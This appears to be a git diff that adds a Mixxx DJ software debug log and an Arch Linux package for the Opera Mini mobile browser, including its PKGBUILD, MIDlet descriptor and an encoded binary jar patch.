+Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection failed, setting to 0. +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/Shared/POSLECHNETE SI JUNGLE- TO OSTATNI NESTALO ZA NIC/VA-Ragga_Jungle_Dubs-RETAiL_CD-2007-R2R/08-admiral_bailey_and_mad_cobra-skin_out_(drum_and_bass_dub)-r2r.mp3" +Debug: [Reader 1]: file length 34352640 i +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection failed, setting to 0. +Debug: [Main]: DlgPrefVinyl::Apply +Debug: [Main]: in VinylGainSlotApply() with gain: 1 +Debug: [Main]: DlgPrefSound::Apply +Debug: [Main]: Setting ChannelMaster in config to: "0" +Debug: [Main]: request msec 81 +Debug: [Main]: SoundManager::setupDevices() +Debug: [Main]: Building timecode lookup tables... +Debug: [Main]: Starting vinyl control xwax thread +Debug: [Main]: Building timecode lookup tables... +Debug: [Main]: Starting vinyl control xwax thread +Debug: [Main]: SoundDevicePortAudio::open() "6, plugequal" +Debug: [Main]: m_dSampleRate 44100 +Debug: [Main]: iLatencyMSec: 81 +Debug: [Main]: output channels: 2 | input channels: 0 +Debug: [Main]: iLatencySamples: 7144 +Debug: [Main]: iLatencyMSec: 81 +Debug: [Main]: Opening stream with id 6 +Debug: [Main]: Opened PortAudio stream successfully... starting +Debug: [Main]: Dynamically loaded PortAudio library! +Debug: [Main]: PortAudio: Started stream successfully +Debug: [Main]: iNumDevicesOpenedForOutput: 1 +Debug: [Main]: iNumDevicesOpenedForInput: 0 +Debug: [Main]: slotApply crossfader: 1 "SlowFade" +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastBack( 1 ) +Debug: [Main]: slotControlFastBack( 0 ) +Debug: [Main]: slotControlFastBack( 1 ) +Debug: [Main]: slotControlFastBack( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/02 Stay Strong.mp3" +Debug: [Reader 1]: file length 22046976 i +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/02 Stay Strong.mp3" +Debug: [Reader 2]: file length 22046976 i +Debug: [Main]: slotControlFastBack( 1 ) +Debug: [Main]: slotControlFastBack( 0 ) +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: Load to player1: "/home/harvie/Downloads/Shared/210_tribe_of_issachar-junglist-dqm.mp3" +Debug: [Reader 1]: file length 15777792 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 143434 from 15777792 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "210_tribe_of_issachar-junglist-dqm.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 3.85 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "210_tribe_of_issachar-junglist-dqm.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 87.4148 (raw: 174.83 ) +Debug: [Main]: Load to player1: "/home/harvie/Downloads/Shared/Bill Hicks - Dirty Jokes.mp3" +Debug: [Reader 1]: file length 7331328 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 66648 from 7331328 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "Bill Hicks - Dirty Jokes.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 1.85 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection failed, setting to 0. +Debug: [Main]: Load to player1: "/home/harvie/Downloads/Shared/210_tribe_of_issachar-junglist-dqm.mp3" +Debug: [Reader 1]: file length 15777792 i +Debug: [Main]: Load to player2: "/home/harvie/Downloads/Shared/gregory_isaacs-police_in_helicopter.mp3" +Debug: [Reader 2]: file length 18821376 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 171104 from 18821376 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "gregory_isaacs-police_in_helicopter.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 4.46 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "gregory_isaacs-police_in_helicopter.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 73.1194 (raw: 36.5597 ) +Debug: [Main]: Load to player2: "/home/harvie/Downloads/Shared/Tenor_Saw-Ring_The_Alarm.mp3" +Debug: [Reader 2]: file length 17070336 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 155184 from 17070336 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "Tenor_Saw-Ring_The_Alarm.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 4.33 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "Tenor_Saw-Ring_The_Alarm.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 93.1218 (raw: 186.244 ) +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 1]: file length 21593088 i +Debug: [Main]: Load to player1: "/home/harvie/Downloads/Shared/Shinehead-Jamaican_in_New_York.mp3" +Debug: [Reader 1]: file length 23675904 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 215236 from 23675904 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "Shinehead-Jamaican_in_New_York.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 5.68 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection failed, setting to 0. +Debug: [Main]: slotControlFastBack( 1 ) +Debug: [Main]: slotControlFastBack( 0 ) +Debug: [Main]: slotControlFastBack( 1 ) +Debug: [Main]: slotControlFastBack( 0 ) +Debug: [Main]: slotControlFastBack( 1 ) +Debug: [Main]: slotControlFastBack( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: ControlObject::getControl returning NULL for ( "[Channel1]" , "temporalShape_up" ) +Debug: []: Midi object with null control object! +Debug: [Main]: ControlObject::getControl returning NULL for ( "[Channel1]" , "temporalShape_up" ) +Debug: []: Midi object with null control object! +Debug: [Main]: ControlObject::getControl returning NULL for ( "[Channel1]" , "temporalShape_up" ) +Debug: []: Midi object with null control object! +Debug: [Main]: ControlObject::getControl returning NULL for ( "[Channel1]" , "temporalShape_up" ) +Debug: []: Midi object with null control object! +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 2]: file length 21593088 i +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 1]: file length 21593088 i +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/Bob Marley - Bad Boys.mp3" +Debug: [Reader 1]: file length 19141632 i +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 174014 from 19141632 +Debug: [Main]: Load to player2: "/home/harvie/Temp/Music/Bob Marley - I Can See Clearly Now.mp3" +Debug: [Reader 2]: file length 17346816 i +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "Bob Marley - Bad Boys.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 3.92 seconds +Debug: [AnalyserQueue 1]: AnalyserWaveform: f 44100 samplesPerDownsample: 110 downsamples 157698 from 17346816 +Debug: [AnalyserQueue 1]: AnalyserWavesummary generation successful for "Bob Marley - I Can See Clearly Now.mp3" +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Waveform downsampling finished. +Debug: [AnalyserQueue 1]: AnalyserWaveform :: Generation took 4.13 seconds +Debug: [AnalyserQueue 1]: AnalyserBPM BPM detection successful for "Bob Marley - I Can See Clearly Now.mp3" +Debug: [AnalyserQueue 1]: AnalyserBPM BPM is 119.975 (raw: 29.9936 ) +Debug: [Main]: Load to player1: "/home/harvie/Temp/Music/alec_empire_-_let_the_sunshine.mp3" +Debug: [Reader 1]: file length 21593088 i +Debug: [Main]: Adjusting column widths: tracktable width = 746 1% of that is: 7.46 FIXME: this should be done when initalizing the skin. +Debug: [Main]: Shrinking Title/Comment for small screen... +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 1 ) +Debug: [Main]: slotControlFastFwd( 0 ) +Debug: [Main]: Destroying MixxxApp +Debug: [Main]: save config, 0 +Debug: [Main]: Write track xml, 526 +Debug: [Main]: close soundmanager 5666 +Debug: [Main]: soundmanager->close() done +Debug: [Main]: delete soundmanager, 6491 +Debug: [Main]: delete master, 6492 +Debug: [Main]: in ~EngineMaster() +Debug: [Main]: delete channel1, 6494 +Debug: [Main]: delete channel2, 6495 +Debug: [Main]: delete buffer1, 6495 +Debug: [Main]: delete buffer2, 6516 +Debug: [Main]: delete midi, 6539 +Debug: [Main]: MidiObject: Deleting MidiMapping... +Debug: [Main]: MidiObject: Deleting MIDI script engine... +Debug: [Main]: delete view, 6978 +Debug: [Main]: delete tracks, 7206 +Debug: [Main]: delete config, 7392 diff --git a/opera-mini/PKGBUILD b/opera-mini/PKGBUILD new file mode 100644 index 0000000..8c7d71b --- /dev/null +++ b/opera-mini/PKGBUILD @@ -0,0 +1,26 @@ +pkgname=opera-mini +pkgver=4.2.13337 +pkgrel=2 +arch=('any') +pkgdesc="Opera-mini (Mobile Edition)" +url="http://www.opera.com/mini/download" +license=('custom') +depends=('jre' 'microemulator') +source=(http://mini.opera.com/global/opera-mini-$pkgver-advanced-${LANG:0:2}.jar + http://mini.opera.com/global/opera-mini-$pkgver-advanced-${LANG:0:2}.jad + opera-mini.launcher opera-mini.desktop) +noextract=(opera-mini-$pkgver-advanced-${LANG:0:2}.jar opera-mini-$pkgver-advanced-${LANG:0:2}.jad) +md5sums=() + +build() { + cd $srcdir + mkdir -p "$pkgdir"/usr/share/java/microemulator/apps/ + install -Dm644 $srcdir/opera-mini-$pkgver-advanced-${LANG:0:2}.ja* "$pkgdir"/usr/share/java/microemulator/apps/ + mkdir -p "$pkgdir"/usr/share/applications/ + sed -e "s/latest/$pkgver/" -i $srcdir/opera-mini.launcher + sed -e "s/111language111/${LANG:0:2}/" -i $srcdir/opera-mini.launcher + install -Dm755 $srcdir/opera-mini.launcher "$pkgdir"/usr/bin/opera-mini + install -Dm644 $srcdir/opera-mini.desktop \ + "$pkgdir"/usr/share/applications/ + +} diff --git a/opera-mini/opera-mini-4.2.13337-advanced-cs.jad b/opera-mini/opera-mini-4.2.13337-advanced-cs.jad new file mode 100644 index 0000000..5e87978 --- /dev/null +++ b/opera-mini/opera-mini-4.2.13337-advanced-cs.jad @@ -0,0 +1,30 @@ +MIDlet-Version: 4.2 +MIDlet-1: Opera Mini, /i.png, Browser +MIDlet-Data-Size: 25600 +MIDlet-Description: Opera Mini +MIDlet-Icon: /i.png +MIDlet-Info-URL: http://mini.opera.com/ +MIDlet-Install-Notify: http://mini.opera.com/n/13337Aassembler_cs +MIDlet-Jar-Size: 127505 +MIDlet-Jar-URL: opera-mini-4.2.13337-advanced-cs.jar +MIDlet-Name: Opera Mini +MIDlet-Permissions: javax.microedition.io.Connector.http +MIDlet-Permissions-Opt: javax.microedition.io.Connector.sms, javax.wireless.messaging.sms.send, javax.microedition.io.Connector.socket, javax.microedition.io.Connector.file.write, javax.microedition.io.Connector.file.read +MIDlet-Vendor: Opera Software ASA +RIM-COD-SHA1-1: c6 ef 1d e1 c4 2c 6d d5 2d ce c4 33 07 a1 e5 ad ae 19 42 e2 +RIM-COD-Size-1: 53816 +RIM-COD-URL-1: operette-hifi-cs-jsr75-1.cod +RIM-COD-Creation-Time: 1228481473 +RIM-COD-Module-Dependencies: net_rim_cldc +RIM-COD-Module-Name: operette-hifi +RIM-COD-SHA1: 2b e5 f6 80 02 4e 38 bd da 4a b9 8d 41 6e 30 06 cb c1 8d 1d +RIM-COD-SHA1-2: fc 61 98 67 74 f5 fe fc c9 5d bc 0f 78 cc b4 2e 63 a3 58 b1 +RIM-COD-Size: 68504 +RIM-COD-Size-2: 67952 +RIM-COD-URL: operette-hifi-cs-jsr75.cod +RIM-COD-URL-2: operette-hifi-cs-jsr75-2.cod +Content-Folder: Applications +MicroEdition-Configuration: CLDC-1.0 +MicroEdition-Profile: MIDP-2.0 +Nokia-MIDlet-On-Screen-Keypad: no + diff --git a/opera-mini/opera-mini-4.2.13337-advanced-cs.jar b/opera-mini/opera-mini-4.2.13337-advanced-cs.jar new file mode 100644 index 0000000000000000000000000000000000000000..31b7f737567ee33dfb71ab8da75852c6a4087584 GIT binary patch literal 127505 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 